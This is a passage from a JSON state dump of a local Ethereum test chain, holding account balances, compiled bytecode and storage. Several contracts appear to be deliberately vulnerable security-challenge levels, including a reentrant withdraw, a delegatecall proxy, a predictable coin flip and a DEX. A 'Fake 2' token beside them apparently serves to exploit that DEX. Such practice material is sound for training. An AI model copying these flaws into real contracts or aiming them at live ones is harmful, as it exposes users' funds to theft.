2456d06b15ff2389d49d784451af3f9c497cfe6e64736f6c63430008150033","storage":{"0x0":"0x0","0x1":"0x64f06adc","0xac33ff75c19e70fe83507db0d683fd3465c996598dc972688b7ace676c89077b":"0x2710"}},"0x851356ae760d987e095750cceb3bc6014560891c":{"nonce":1,"balance":"0x0","code":"0x608060405234801561001057600080fd5b50600436106100a95760003560e01c8063bfd7e00d11610071578063bfd7e00d1461011f578063cbc7854e14610140578063d21220a714610153578063df791e5014610166578063f2fde38b14610179578063f7888aec1461018c57600080fd5b8063095ea7b3146100ae57806325be124e146100c357806356688700146100f3578063715018a6146101065780638da5cb5b1461010e575b600080fd5b6100c16100bc366004610897565b61019f565b005b6002546100d6906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b6100c1610101366004610897565b61026f565b6100c16102ef565b6000546001600160a01b03166100d6565b61013261012d3660046108c1565b610303565b6040519081526020016100ea565b6100c161014e3660046108fd565b6103f2565b6001546100d6906001600160a01b031681565b6100c16101743660046108c1565b610428565b6100c1610187366004610930565b6106e1565b61013261019a3660046108fd565b61075a565b60015460405163e1f21c6760e01b81526001600160a01b039091169063e1f21c67906101d39033908690869060040161094b565b600060405180830381600087803b1580156101ed57600080fd5b505af1158015610201573d6000803e3d6000fd5b505060025460405163e1f21c6760e01b81526001600160a01b03909116925063e1f21c6791506102399033908690869060040161094b565b600060405180830381600087803b15801561025357600080fd5b505af1158015610267573d6000803e3d6000fd5b505050505050565b6102776107d1565b6040516323b872dd60e01b81526001600160a01b038316906323b872dd906102a79033903090869060040161094b565b6020604051808303816000875af11580156102c6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906102ea919061096f565b505050565b6102f76107d1565b610301600061082b565b565b6040516370a0823160e01b81523060048201526000906001600160a01b038516906370a0823190602401602060405180830381865afa15801561034a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061036e9190610998565b6040516370a0823160e01b81523060048201526001600160a01b038516906370a0823190602401602060405180830381865afa1580156103b2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103d69190610998565b6103e090846109b1565b6103ea91906109d6565b949350505050565b6103fa6107d1565b600180546001600160a01b039384166001600160a01b03199182161790915560028054929093169116179055565b6001546001600160a01b03848116911614801561045257506002546001600160a01b038381169116145b8061048257506002546001600160a01b03848116911614801561048257506001546001600160a01b038381169116145b6104c45760405162461bcd60e51b815260206004820152600e60248201526d496e76616c696420746f6b656e7360901b60448201526064015b60405180910390fd5b6040516370a0823160e01b815233600482015281906001600160a01b038516906370a0823190602401602060405180830381865afa15801561050a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061052e9190610998565b10156105715760405162461bcd60e51b815260206004820152601260248201527104e6f7420656e6f75676820746f20737761760741b60448201526064016104bb565b600061057e848484610303565b6040516323b872dd60e01b81529091506001600160a01b038516906323b872dd906105b19033903090879060040161094b565b6020604051808303816000875af11580156105d0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105f4919061096f565b5060405163095ea7b360e01b8152306004820152602481018290526001600160a01b0384169063095ea7b3906044016020604051808303816000875af1158015610642573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610666919061096f565b506040516323b872dd60e01b81526001600160a01b038416906323b872dd906106979030903390869060040161094b565b6020604051808303816000875af11580156106b6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106da919061096f565b5050505050565b6106e96107d1565b6001600160a01b03811661074e5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104bb565b6107578161082b565b50565b6040516370a0823160e01b81526001600160a01b038281166004830152600091908416906370a0823190602401602060405180830381865afa1580156107a4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107c89190610998565b90505b92915050565b6000546001600160a01b031633146103015760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016104bb565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b80356001600160a01b038116811461089257600080fd5b919050565b600080604083850312156108aa57600080fd5b6108b38361087b565b946020939093013593505050565b6000806000606084860312156108d657600080fd5b6108df8461087b565b92506108ed6020850161087b565b9150604084013590509250925092565b6000806040838503121561091057600080fd5b6109198361087b565b91506109276020840161087b565b90509250929050565b60006020828403121561094257600080fd5b6107c88261087b565b6001600160a01b039384168152919092166020820152604081019190915260600190565b60006020828403121561098157600080fd5b8151801515811461099157600080fd5b9392505050565b6000602082840312156109aa57600080fd5b5051919050565b80820281158282048414176107cb57634e487b7160e01b600052601160045260246000fd5b6000826109f357634e487b7160e01b600052601260045260246000fd5b50049056fea264697066735822122010632bad99cff7b5e092073d0b1a0fe5cb4e24e9160c52e0c7efc92aaa495abb64736f6c63430008150033","storage":{"0x0":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","0x1":"0xf5059a5d33d5853360d16c683c16e67980206f36","0x2":"0x95401dc811bb5740090279ba06cfa8fcf6113778"}},"0x8a791620dd6260079bf849dc5567adc3f2fdc318":{"nonce":1,"balance":"0x0","code":"0x6080604052348015600f57600080fd5b506004361060285760003560e01c80638da5cb5b14607f575b6001546040516000916001600160a01b0316906046908390369060ad565b600060405180830381855af49150503d8060008114607d576040519150601f19603f3d011682016040523d82523d6000602084013e005b005b6000546091906001600160a01b031681565b6040516001600160a01b03909116815260200160405180910390f35b818382376000910190815291905056fea26469706673582212209c08c53d602db618c579a4328de19724adb72950b1d6af8f027b325c0d6db51d64736f6c63430008150033","storage":{"0x0":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","0x1":"0x2279b7a0a67db372996a5fab50d91eaa73d2ebe6"}},"0x90f79bf6eb2c4f870365e785982e1f101e93b906":{"nonce":0,"balance":"0x21e19e0c9bab2400000","code":"0x","storage":{}},"0x95401dc811bb5740090279ba06cfa8fcf6113778":{"nonce":1,"balance":"0x0","code":"0x608060405234801561001057600080fd5b50600436106100b45760003560e01c806370a082311161007157806370a082311461014157806395d89b411461016a578063a457c2d714610172578063a9059cbb14610185578063dd62ed3e14610198578063e1f21c67146101ab57600080fd5b806306fdde03146100b9578063095ea7b3146100d757806318160ddd146100fa57806323b872dd1461010c578063313ce5671461011f578063395093511461012e575b600080fd5b6100c16101c0565b6040516100ce919061071c565b60405180910390f35b6100ea6100e5366004610786565b610252565b60405190151581526020016100ce565b6002545b6040519081526020016100ce565b6100ea61011a3660046107b0565b61026c565b604051601281526020016100ce565b6100ea61013c366004610786565b610290565b6100fe61014f3660046107ec565b6001600160a01b031660009081526020819052604090205490565b6100c16102b2565b6100ea610180366004610786565b6102c1565b6100ea610193366004610786565b610341565b6100fe6101a636600461080e565b61034f565b6101be6101b93660046107b0565b61037a565b005b6060600380546101cf90610841565b80601f01602080910402602001604051908101604052809291908181526020018280546101fb90610841565b80156102485780601f1061021d57610100808354040283529160200191610248565b820191906000526020600020905b81548152906001019060200180831161022b57829003601f168201915b5050505050905090565b6000336102608185856103da565b60019150505b92915050565b60003361027a8582856104fe565b610285858585610578565b506001949350505050565b6000336102608185856102a3838361034f565b6102ad919061087b565b6103da565b6060600480546101cf90610841565b600033816102cf828661034f565b9050838110156103345760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084015b60405180910390fd5b61028582868684036103da565b600033610260818585610578565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6005546001600160a01b03908116908416036103ca5760405162461bcd60e51b815260206004820152600f60248201526e24b73b30b634b220b8383937bb32b960891b604482015260640161032b565b6103d58383836103da565b505050565b6001600160a01b03831661043c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161032b565b6001600160a01b03821661049d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161032b565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600061050a848461034f565b9050600019811461057257818110156105655760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604482015260640161032b565b61057284848484036103da565b50505050565b6001600160a01b0383166105dc5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161032b565b6001600160a01b03821661063e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161032b565b6001600160a01b038316600090815260208190526040902054818110156106b65760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161032b565b6001600160a01b03848116600081815260208181526040808320878703905593871680835291849020805487019055925185815290927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3610572565b600060208083528351808285015260005b818110156107495785810183015185820160400152820161072d565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461078157600080fd5b919050565b6000806040838503121561079957600080fd5b6107a28361076a565b946020939093013593505050565b6000806000606084860312156107c557600080fd5b6107ce8461076a565b92506107dc6020850161076a565b9150604084013590509250925092565b6000602082840312156107fe57600080fd5b6108078261076a565b9392505050565b6000806040838503121561082157600080fd5b61082a8361076a565b91506108386020840161076a565b90509250929050565b600181811c9082168061085557607f821691505b60208210810361087557634e487b7160e01b600052602260045260246000fd5b50919050565b8082018082111561026657634e487b7160e01b600052601160045260246000fdfea2646970667358221220ccf66bca95039966517ea2fe2472124ee112d66358476470bc968590d2a6629364736f6c63430008150033","storage":{"0x2":"0x6e","0x3":"0x546f6b656e20320000000000000000000000000000000000000000000000000e","0x4":"0x544b4e3200000000000000000000000000000000000000000000000000000008","0x5":"0x851356ae760d987e095750cceb3bc6014560891c","0x24d8ad0e0f022cabdef580ec406e7efc29bf1b1d099232eae8d501810a9c982f":"0x3e8","0x5bc9f748056d7d2b880339acf2f11cd298f14d86229bc64da98678b864592385":"0x6e","0x60339cdee841ef45946edbcf5f8e8f995d8f7fcec4879b7742b313ef8d87c7cf":"0x0","0x723077b8a1b173adc35e5f0e7e3662fd1208212cb629f9c128551ea7168da722":"0x0","0x9d2e12c8df9e5f7f73782cb113e74cfc89c5120b942730fc9af0b92b093bb1af":"0x0","0xa1d47ef1a6916dfbe65888f77739da164feb3a9a6afc95ee57e8b3e85ea5e955":"0x0"}},"0x976ea74026e726554db657fa54763abd0c3a0aa9":{"nonce":0,"balance":"0x21e19e0c9bab2400000","code":"0x","storage":{}},"0x9965507d1a55bcc2695c58ba16fb37d819b0a4dc":{"nonce":0,"balance":"0x21e19e0c9bab2400000","code":"0x","storage":{}},"0x9a676e781a523b5d0c0e43731313a708cb607508":{"nonce":1,"balance":"0x68f365aea1e440000","code":"0x6080604052600436106100425760003560e01c8062362a951461004e57806327e235e3146100765780632e1a7d4d146100bb57806370a08231146100e557610049565b3661004957005b600080fd5b6100746004803603602081101561006457600080fd5b50356001600160a01b0316610118565b005b34801561008257600080fd5b506100a96004803603602081101561009957600080fd5b50356001600160a01b0316610157565b60408051918252519081900360200190f35b3480156100c757600080fd5b50610074600480360360208110156100de57600080fd5b5035610169565b3480156100f157600080fd5b506100a96004803603602081101561010857600080fd5b50356001600160a01b03166101e4565b6001600160a01b03811660009081526020819052604090205461013b90346101ff565b6001600160a01b03909116600090815260208190526040902055565b60006020819052908152604090205481565b3360009081526020819052604090205481116101e157604051600090339083908381818185875af1925050503d80600081146101c1576040519150601f19603f3d011682016040523d82523d6000602084013e6101c6565b606091505b50503360009081526020819052604090208054849003905550505b50565b6001600160a01b031660009081526020819052604090205490565b600082820183811015610259576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b939250505056fea264697066735822122043db77a4f6bc946afae4a7308bb34efe3bd47bdba7d1586a58d86d3725c3732c64736f6c634300060c0033","storage":{"0x14e04a66bf74771820a7400ff6cf065175b3d7eb25805a5bd1633b161af5d101":"0x1158e460913d00000","0x723077b8a1b173adc35e5f0e7e3662fd1208212cb629f9c128551ea7168da722":"0x56bc75e2d63100000"}},"0x9a9f2ccfde556a7e9ff0848998aa4a0cfd8863ae":{"nonce":1,"balance":"0x0","code":"0x608060405234801561001057600080fd5b50600436106100415760003560e01c80634069536314610046578063ed9a713414610062578063fe6dcdba14610077575b600080fd5b61004f60015481565b6040519081526020015b60405180910390f35b610075610070366004610182565b610094565b005b6000546100849060ff1681565b6040519015158152602001610059565b604051632fcd25e560e11b81526004810182905233908190635f9a4bca906024016020604051808303816000875af11580156100d4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906100f8919061019b565b61017e576001829055604051632fcd25e560e11b8152600481018390526001600160a01b03821690635f9a4bca906024016020604051808303816000875af1158015610148573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061016c919061019b565b6000805460ff19169115159190911790555b5050565b60006020828403121561019457600080fd5b5035919050565b6000602082840312156101ad57600080fd5b815180151581146101bd57600080fd5b939250505056fea2646970667358221220a2f549c18b994a814fde85edfbde6e4796bba1ea74bbad7d6f7605052c7814f664736f6c63430008150033","storage":{}},"0x9fe46736679d2d9a65f0992f2272de9f3c7fa6e0":{"nonce":1,"balance":"0x0","code":"0x6080604052600436106100555760003560e01c80636fab5ddf1461005a5780638aa96f38146100645780638da5cb5b14610079578063a2dea26f146100aa578063abaa9916146100dd578063ffd40b56146100e5575b600080fd5b61006261012a565b005b34801561007057600080fd5b5061006261015a565b34801561008557600080fd5b5061008e6101e8565b604080516001600160a01b039092168252519081900360200190f35b3480156100b657600080fd5b50610062600480360360208110156100cd57600080fd5b50356001600160a01b03166101f7565b61006261025d565b3480156100f157600080fd5b506101186004803603602081101561010857600080fd5b50356001600160a01b031661028f565b60408051918252519081900360200190f35b600180546001600160a01b0319163317908190556001600160a01b03166000908152602081905260409020349055565b6001546001600160a01b031633146101b9576040805162461bcd60e51b815260206004820152601760248201527f63616c6c6572206973206e6f7420746865206f776e6572000000000000000000604482015290519081900360640190fd5b60405133904780156108fc02916000818181858888f193505050501580156101e5573d6000803e3d6000fd5b50565b6001546001600160a01b031681565b6001600160a01b03811660009081526020819052604090205461021957600080fd5b6001600160a01b03811660008181526020819052604080822054905181156108fc0292818181858888f19350505050158015610259573d6000803e3d6000fd5b5050565b3360009081526020819052604090205461027d903463ffffffff6102aa16565b33600090815260208190526040902055565b6001600160a01b031660009081526020819052604090205490565b600082820183811015610304576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b939250505056fea2646970667358221220c32681c789ae29debffc0c0b40dbd791aa45b676795e05f4852f105e4bd0ec0464736f6c63430006060033","storage":{"0x1":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","0x723077b8a1b173adc35e5f0e7e3662fd1208212cb629f9c128551ea7168da722":"0x0"}},"0xa0ee7a142d267c1f36714e4a8f75612f20a79720":{"nonce":40,"balance":"0x21e19910c5cf793ae6b","code":"0x","storage":{}},"0xa51c1fc2f0d1a1b8494ed1fe312d7c3a78ed91c0":{"nonce":1,"balance":"0x8ac7230489e80000","code":"0x6080604052600436106100385760003560e01c806329cc6d6f146100bb5780638da5cb5b146100f2578063e3ac5d261461011257600080fd5b366100b6576001543410158061005857506002546001600160a01b031633145b61006157600080fd5b600080546040516001600160a01b03909116913480156108fc02929091818181858888f1935050505015801561009b573d6000803e3d6000fd5b50600080546001600160a01b03191633179055346001819055005b600080fd5b3480156100c757600080fd5b506000546001600160a01b03165b6040516001600160a01b0390911681526020015b60405180910390f35b3480156100fe57600080fd5b506002546100d5906001600160a01b031681565b34801561011e57600080fd5b5061012860015481565b6040519081526020016100e956fea26469706673582212201b552f5f65bcec2acf1f4847a789a1c0502013d35c5e46edfb850631bcd62ab164736f6c63430008150033","storage":{"0x0":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","0x1":"0x8ac7230489e80000","0x2":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266"}},"0xa85233c63b9ee964add6f2cffe00fd84eb32338f":{"nonce":1,"balance":"0x0","code":"0x608060405234801561001057600080fd5b50600436106100575760003560e01c806327d6974f1461005c5780633dc794221461008b5780635bda8fa41461009e5780638da5cb5b146100b3578063f1e02620146100c6575b600080fd5b60015461006f906001600160a01b031681565b6040516001600160a01b03909116815260200160405180910390f35b60005461006f906001600160a01b031681565b6100b16100ac366004610191565b6100d9565b005b60025461006f906001600160a01b031681565b6100b16100d4366004610191565b610163565b600154604051630efac9b160e21b6020820152602481018390526001600160a01b03909116906044015b60408051601f198184030181529082905261011d916101aa565b600060405180830381855af49150503d8060008114610158576040519150601f19603f3d011682016040523d82523d6000602084013e61015d565b606091505b50505050565b600054604051630efac9b160e21b6020820152602481018390526001600160a01b0390911690604401610103565b6000602082840312156101a357600080fd5b5035919050565b6000825160005b818110156101cb57602081860181015185830152016101b1565b50600092019182525091905056fea2646970667358221220ad6113db0d200378dcf98a0b93fd905ef5c90857d639ec1f1d2b18bb309cfd8264736f6c63430008150033","storage":{"0x0":"0x4ed7c70f96b99c776995fb64377f0d4ab3b0e1c1","0x1":"0x322813fd9a801c5507c9de605d63cea4f2ce6c44","0x2":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266"}},"0xb7f8bc63bbcad18155201308c8f3540b07f84f5e":{"nonce":1,"balance":"0x0","code":"0x6080604052348015600f57600080fd5b506004361060325760003560e01c8063cf309012146037578063ec9b5b3a146057575b600080fd5b60005460439060ff1681565b604051901515815260200160405180910390f35b60666062366004607e565b6068565b005b8060015403607b576000805460ff191690555b50565b600060208284031215608f57600080fd5b503591905056fea264697066735822122071c97e42a1d97328a299f8d3cb23a8cb10ede7438f243a3c67d186dee5a61a7e64736f6c63430008150033","storage":{"0x0":"0x1","0x1":"0x11f951643c9ced001322cc6f91af656cd510b4f119363e892218283c3b2b82f"}},"0xc3e53f4d16ae77db1c982e75a937b9f60fe63690":{"nonce":1,"balance":"0x0","code":"0x608060405234801561001057600080fd5b506004361061009e5760003560e01c80638da5cb5b116100665780638da5cb5b146100fc5780638f32d59b1461012057806394bd756914610128578063b5c645bd14610157578063f2fde38b146101745761009e565b80630339f300146100a3578063328b52cb146100c857806333a8c45a146100d057806347f57b32146100ec578063715018a6146100f4575b600080fd5b6100c6600480360360408110156100b957600080fd5b508035906020013561019a565b005b6100c66101cb565b6100d86101e0565b604080519115158252519081900360200190f35b6100c66101f0565b6100c6610219565b6101046102bc565b604080516001600160a01b039092168252519081900360200190f35b6100d86102cc565b6101456004803603602081101561013e57600080fd5b50356102dd565b60408051918252519081900360200190f35b6100c66004803603602081101561016d57600080fd5b50356102fb565b6100c66004803603602081101561018a57600080fd5b50356001600160a01b0316610342565b600054600160a01b900460ff166101ad57fe5b80600183815481106101bb57fe5b6000918252602090912001555050565b6000805460ff60a01b1916600160a01b179055565b600054600160a01b900460ff1681565b600054600160a01b900460ff1661020357fe5b600180549061021690600019830161043f565b50565b6102216102cc565b610272576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b03165b90565b6000546001600160a01b0316331490565b600181815481106102ea57fe5b600091825260209091200154905081565b600054600160a01b900460ff1661030e57fe5b6001805480820182556000919091527fb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf60155565b61034a6102cc565b61039b576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b610216816001600160a01b0381166103e45760405162461bcd60e51b81526004018080602001828103825260268152602001806104876026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b81548183558181111561046357600083815260209020610463918101908301610468565b505050565b6102c991905b80821115610482576000815560010161046e565b509056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a265627a7a72315820620ca7c401b97346633bc9d0f036fe809966cb299adf78e57a88c8cd19b60ada64736f6c63430005110032","storage":{"0x0":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266"}},"0xc6e7df5e7b4f2a278906862b61205850344d4e7d":{"nonce":1,"balance":"0x0","code":"0x608060405234801561001057600080fd5b50600436106100365760003560e01c80633370204e1461003b5780639db31d7714610063575b600080fd5b61004e610049366004610124565b61008e565b60405190151581526020015b60405180910390f35b600054610076906001600160a01b031681565b6040516001600160a01b03909116815260200161005a565b600032330361009c57600080fd5b333b80156100a957600080fd5b6040516bffffffffffffffffffffffff193360601b166020820152839067ffffffffffffffff9060c083901c906034016040516020818303038152906040528051906020012060c01c1867ffffffffffffffff161461010757600080fd5b600080546001600160a01b03191632179055600192505050919050565b60006020828403121561013657600080fd5b81356001600160c01b03198116811461014e57600080fd5b939250505056fea26469706673582212201327d7b91bb1e5bc77cfcf8da8edc8aab7ac9fcadd1540f57e9e277acd9dd00a64736f6c63430008150033","storage":{}},"0xdc64a140aa3e981100a9beca4e685f962f0cf6c9":{"nonce":1,"balance":"0x0","code":"0x608060405234801561001057600080fd5b50600436106100365760003560e01c80631d263f671461003b578063e6f334d714610063575b600080fd5b61004e610049366004610101565b61007a565b60405190151581526020015b60405180910390f35b61006c60005481565b60405190815260200161005a565b600080610088600143610140565b4060001c9050806001540361009c57600080fd5b60018190556002546000906100b19083610159565b90506000816001146100c45760006100c7565b60015b9050841515811515036100f3576000805490806100e38361017b565b9091555060019695505050505050565b505060008080559392505050565b60006020828403121561011357600080fd5b8135801515811461012357600080fd5b9392505050565b634e487b7160e01b600052601160045260246000fd5b818103818111156101535761015361012a565b92915050565b60008261017657634e487b7160e01b600052601260045260246000fd5b500490565b60006001820161018d5761018d61012a565b506001019056fea26469706673582212202e6bacfe7c3aca52c8cc610e8a720f9dcfa4772140f84e30a16da3df296a4fed64736f6c63430008150033","storage":{"0x0":"0x0","0x2":"0x8000000000000000000000000000000000000000000000000000000000000000"}},"0xe6e340d132b5f46d1e472debcd681b2abc16e57e":{"nonce":1,"balance":"0x0","code":"0x6080604052348015600f57600080fd5b506004361060325760003560e01c80631f87943314603757806349a7a26d146066575b600080fd5b606460423660046094565b600080546001600160a01b0319166001600160a01b0392909216919091179055565b005b6000546078906001600160a01b031681565b6040516001600160a01b03909116815260200160405180910390f35b60006020828403121560a557600080fd5b81356001600160a01b038116811460bb57600080fd5b939250505056fea26469706673582212203be8b945b0da04feec4fd1b6fe51b44ad63945e01c8280e3968bd64d4efe113364736f6c63430008150033","storage":{}},"0xf1078fd568ad76e49e6f88d1ff485402a086976b":{"nonce":1,"balance":"0x0","code":"0x608060405234801561001057600080fd5b50600436106100b45760003560e01c806370a082311161007157806370a082311461014157806395d89b411461016a578063a457c2d714610172578063a9059cbb14610185578063dd62ed3e14610198578063e1f21c67146101ab57600080fd5b806306fdde03146100b9578063095ea7b3146100d757806318160ddd146100fa57806323b872dd1461010c578063313ce5671461011f578063395093511461012e575b600080fd5b6100c16101c0565b6040516100ce919061071c565b60405180910390f35b6100ea6100e5366004610786565b610252565b60405190151581526020016100ce565b6002545b6040519081526020016100ce565b6100ea61011a3660046107b0565b61026c565b604051601281526020016100ce565b6100ea61013c366004610786565b610290565b6100fe61014f3660046107ec565b6001600160a01b031660009081526020819052604090205490565b6100c16102b2565b6100ea610180366004610786565b6102c1565b6100ea610193366004610786565b610341565b6100fe6101a636600461080e565b61034f565b6101be6101b93660046107b0565b61037a565b005b6060600380546101cf90610841565b80601f01602080910402602001604051908101604052809291908181526020018280546101fb90610841565b80156102485780601f1061021d57610100808354040283529160200191610248565b820191906000526020600020905b81548152906001019060200180831161022b57829003601f168201915b5050505050905090565b6000336102608185856103da565b60019150505b92915050565b60003361027a8582856104fe565b610285858585610578565b506001949350505050565b6000336102608185856102a3838361034f565b6102ad919061087b565b6103da565b6060600480546101cf90610841565b600033816102cf828661034f565b9050838110156103345760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084015b60405180910390fd5b61028582868684036103da565b600033610260818585610578565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6005546001600160a01b03908116908416036103ca5760405162461bcd60e51b815260206004820152600f60248201526e24b73b30b634b220b8383937bb32b960891b604482015260640161032b565b6103d58383836103da565b505050565b6001600160a01b03831661043c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161032b565b6001600160a01b03821661049d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161032b565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600061050a848461034f565b9050600019811461057257818110156105655760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604482015260640161032b565b61057284848484036103da565b50505050565b6001600160a01b0383166105dc5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161032b565b6001600160a01b03821661063e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161032b565b6001600160a01b038316600090815260208190526040902054818110156106b65760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161032b565b6001600160a01b03848116600081815260208181526040808320878703905593871680835291849020805487019055925185815290927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3610572565b600060208083528351808285015260005b818110156107495785810183015185820160400152820161072d565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461078157600080fd5b919050565b6000806040838503121561079957600080fd5b6107a28361076a565b946020939093013593505050565b6000806000606084860312156107c557600080fd5b6107ce8461076a565b92506107dc6020850161076a565b9150604084013590509250925092565b6000602082840312156107fe57600080fd5b6108078261076a565b9392505050565b6000806040838503121561082157600080fd5b61082a8361076a565b91506108386020840161076a565b90509250929050565b600181811c9082168061085557607f821691505b60208210810361087557634e487b7160e01b600052602260045260246000fd5b50919050565b8082018082111561026657634e487b7160e01b600052601160045260246000fdfea26469706673582212200182eba0a0f7f4e4d9f250b1fa6c58e2ce02a170adbbcea922a3acf0c104d61b64736f6c63430008150033","storage":{"0x2":"0x64","0x3":"0x46616b652032000000000000000000000000000000000000000000000000000c","0x4":"0x46434b3200000000000000000000000000000000000000000000000000000008","0x5":"0x5eb3bc0a489c5a8288765d2336659ebca68fcd00","0x63fd3740feaeb2447e6be1f6ce907e3eadb872fff1aefe03b486ff8244ea61a4":"0x3e7","0x756af353f56f684aa3fe3e4b3713ab1313420fed683b8a6084b2333635805ea6":"0x2","0xa1d47ef1a6916dfbe65888f77739da164feb3a9a6afc95ee57e8b3e85ea5e955":"0x62"}},"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266":{"nonce":56,"balance":"0x21c25d277d6fcbc47a0","code":"0x","storage":{}},"0xf3ee3c4ec25e8414838567818a30c90c7d62f834":{"nonce":1,"balance":"0x186a0","code":"0x6080604052600436106100425760003560e01c8062f55d9d1461006b57806306fdde031461008d57806327e235e3146100b8578063a9059cbb146100f357600080fd5b366100665761005234600a610222565b336000908152600160205260409020819055005b600080fd5b34801561007757600080fd5b5061008b610086366004610257565b610113565b005b34801561009957600080fd5b506100a261011f565b6040516100af919061027b565b60405180910390f35b3480156100c457600080fd5b506100e56100d3366004610257565b60016020526000908152604090205481565b6040519081526020016100af565b3480156100ff57600080fd5b5061008b61010e3660046102c9565b6101ad565b806001600160a01b0316ff5b6000805461012c906102f5565b80601f0160208091040260200160405190810160405280929190818152602001828054610158906102f5565b80156101a55780601f1061017a576101008083540402835291602001916101a5565b820191906000526020600020905b81548152906001019060200180831161018857829003601f168201915b505050505081565b336000908152600160205260409020548111156101c957600080fd5b336000908152600160205260409020546101e490829061032f565b33600090815260016020526040808220929092556001600160a01b0393909316835290912055565b634e487b7160e01b600052601160045260246000fd5b80820281158282048414176102395761023961020c565b92915050565b6001600160a01b038116811461025457600080fd5b50565b60006020828403121561026957600080fd5b81356102748161023f565b9392505050565b600060208083528351808285015260005b818110156102a85785810183015185820160400152820161028c565b506000604082860101526040601f19601f8301168501019250505092915050565b600080604083850312156102dc57600080fd5b82356102e78161023f565b946020939093013593505050565b600181811c9082168061030957607f821691505b60208210810361032957634e487b7160e01b600052602260045260246000fd5b50919050565b818103818111156102395761023961020c56fea26469706673582212207f4c6c6dadf7413d03e7f978bed3b42dfc014ffd496f06a156234f154195770e64736f6c63430008150033","storage":{"0x0":"0x496e697469616c546f6b656e0000000000000000000000000000000000000018","0xa3c1274aadd82e4d12c8004c33fb244ca686dad4fcc8957fc5668588c11d9502":"0xf4240"}},"0xf5059a5d33d5853360d16c683c16e679802